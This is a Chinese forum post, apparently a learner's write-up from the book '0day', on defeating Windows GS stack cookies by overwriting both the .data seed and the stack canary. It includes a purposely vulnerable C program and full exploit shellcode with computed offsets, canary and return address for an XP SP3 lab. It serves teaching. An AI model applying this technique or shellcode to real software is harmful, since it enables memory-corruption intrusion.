同时替换栈中和.data中的Cookie突破GS

筠溪

最近刚刚接触漏洞调试逆向，希望能够将自己调试过程中的看法与大家分享，望大神们不要喷我。参考书籍就是有名的《0day》，作为想接触漏洞的新手非常适合。
言归正传
GS机制：
GS会在函数调用前往函数栈帧内压入一个随机数（canary），然后等函数返回前，会对canary进行核查，判断canary是否被修改。因为canary的地址是（前栈帧EBP-4），所以如果溢出攻击想要覆盖返回地址，就会路过canary。系统检测到canary被修改之后，在函数返回前就会直接终止程序
GS流程：

• 程序启动时，读取.data节的第一个dword。
• 以这个dword为基数，通过和当前系统时间，进程ID，线程ID，性能计数器进行一系列加密运算（多次XOR）。
• 把加密后的种子再写入.data节的第一个dword。函数在执行前，把加密后的种子取出，与当前esp进行异或计算，结果存入“前EBP”的前面（低地址端）。函数主体正常执行。
• 函数返回前，把canary取出与esp异或计算后，调用__security_check_cookie函数进行检查，与.data节里的种子进行比较，如果校验通过则返回原函数继续执行。如果校验失败，则程序终止。
  

意思就是，.data第一个dword异或ebp后，存放到ebp低地址端，函数返回前，这个数再xor ebp，和.data中相比较。

GS突破的思路：
1、利用未被保护的内存突破GS
2、覆盖虚函数突破GS（wnagzihxain有讲到）
3、攻击SEH突破GS
4、同时替换栈中和.data中的cookie突破GS（同样讲到过）

由于自己第一次发帖，刚好看到第四个突破技术，索性就记录下来以便交流


我们不看代码，试想一下，如果想要同时替换栈中和.data中的cookie，需要几步。需要什么条件。
攻击条件：

• 首先这个条件就很苛刻，正常情况下，我们是无法访问到.data段中的，只有当一个指针偏移没有作判断，能够为我们所用，将它指向.data的时候，才能够覆盖修改.data的第一个dword。代码中创造的条件是这样的，先申请一块堆区，再创建一个指针指向的地址是堆区+偏移(i)，当i为我们恶意构造的负数的时候，就有可能指向.data段
• 其次，要有shellcode覆盖，代码中给了一个strcpy，我们喜闻乐见的一个函数。
  

代码如下（shellcode内容我们慢慢给出，这里先看程序）：

[C] 纯文本查看 复制代码

void test(char * str, int i, char * src)
{
        char dest[200];
        
        if(i<0x9995)
        {
                char * buf=str+i;
                *buf=*src;
                *(buf+1)=*(src+1);
                *(buf+2)=*(src+2);
                *(buf+3)=*(src+3);
            strcpy(dest,src);
        }
}
void main()
{
        char * str=(char *)malloc(0x10000);
        //__asm int 3
        test(str,0xFFFF2FB8,shellcode);        
}

攻击调试步骤：
1、在调试的时候，确认堆区的地址和我们要覆盖的.data首地址离多远，这样就能确认这个指针偏移 i 是多少；
2、确定shellcode的覆盖偏移，到底哪个偏移地址是canary的位置；
前两部可以利用函数返回时候的check_securitycookie函数查看系统是怎么检查参数的
3、确定shellcode中canary的值，索性把shellcode的第一个dword设置为canary（90909090），那么我们用多少覆盖呢，这需要在调试中xor ebp后确定；
4、确定shellcode组织结构。

下面和大家一起调试，确定shellcode的内容
调试环境：
XP sp3
vs 2008
release版本
optimization给disable掉（不然，调试代码看不懂，canary异或的也是esp而不是ebp）

第一步，确定偏移
其实不能完全按照步骤进行参数获取，因为后面有些参数可能在前面的调试中就已经获取了，按步骤说只是便于理解。
先把shellcode设置为四个字节90909090.指针偏移也设置为0：

[C] 纯文本查看 复制代码

#include <string.h>
#include <stdlib.h>
char shellcode[]=

"\x90\x90\x90\x90"//new value of cookie in .data
;
void test(char * str, int i, char * src)
{
        char dest[200];
        
        if(i<0x9995)
        {
                char * buf=str+i;
                *buf=*src;
                *(buf+1)=*(src+1);
                *(buf+2)=*(src+2);
                *(buf+3)=*(src+3);
__asm int 3
            strcpy(dest,src);
        }
}
void main()
{
        char * str=(char *)malloc(0x10000);
        test(str,0,shellcode);        
}

我们首先要看cookie是怎么校验的。原书中讲到在if语句处中断，我设置了int3之后，停下来发现cookie已经被放进.data了，所以我就下在了strcpy之前


这一步获取的参数：
.data地址：0x00403000
栈中需要覆盖canary的地址：0x0012FF60
栈中需要返回的地址0x0012FF68
堆分配首地址（这一步我忘记标出来了，他就是test函数test(str,0,shellcode)返回地址前、高地址处的第一个str的地址）：0x00410048
计算可得：0x410048-0x403000=53320，由于这个偏移应该是负数，所以i=-53320=FFFF2FB8
这样第一二步骤的参数已经得到了

将i修改后，如下：

[C] 纯文本查看 复制代码

void test(char * str, int i, char * src)
{
        char dest[200];
        
        if(i<0x9995)
        {
                char * buf=str+i;
                *buf=*src;
                *(buf+1)=*(src+1);
                *(buf+2)=*(src+2);
                *(buf+3)=*(src+3);
                __asm int 3
            strcpy(dest,src);
        }
}
void main()
{
        char * str=(char *)malloc(0x10000);
        test(str,0xFFFF2FB8,shellcode);        
}

第二步，确定canary的值
如何确定？已经我们要将90909090写入.data，GS校验的时候，会将canary和ebp异或然后和90909090对比，所以，canary=90909090 xor 当时的ebp
int3位置不变，我们还定位到函数准备返回检查canary的时候

canary = 0x0012ff64 xor 0x90909090 = 0x90826ff4



第三步，确定shellcode组织结构
对了，shellcode在栈中的位置还没确定呢
还是刚才的断点，在strcpy之前停下来，找shellcode 复制的栈中位置，这也是为什么设置90909090，因为明显好找，还可以搜索

找到了shellcode地址=0x0012FE94
所以shellcode总大小=0x0012FE94-返回的地址0x0012FF68 +4=216字节
覆盖返回地址：12FF68-12FF6B
覆盖canary地址：12FF60-12FF63
最后12个字节是这样的\xF4\x6F\x82\x90 \x90\x90\x90\x90 \x94\xFE\x12\x00
所以shellcode是这样安排的：
\x90\x90\x90\x90||\xFC\x68···\x57\xF8||\x90···\x90|| \xF4\x6F\x82\x90 \x90\x90\x90\x90 \x94\xFE\x12\x00
4字节                       168字节                     32字节（216-4-168-12=32字节）           12个字节

最终形成代码

[C] 纯文本查看 复制代码

#include <string.h>
#include <stdlib.h>
char shellcode[]=

"\x90\x90\x90\x90"//new value of cookie in .data
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP
"\x90\x90\x90\x90"
"\x94\xFE\x12\x00"//address of shellcode
;
void test(char * str, int i, char * src)
{
        char dest[200];
        
        if(i<0x9995)
        {
                char * buf=str+i;
                *buf=*src;
                *(buf+1)=*(src+1);
                *(buf+2)=*(src+2);
                *(buf+3)=*(src+3);
            strcpy(dest,src);
        }
}
void main()
{
        char * str=(char *)malloc(0x10000);
        //__asm int 3
        test(str,0xFFFF2FB8,shellcode);        
}

成功溢出。

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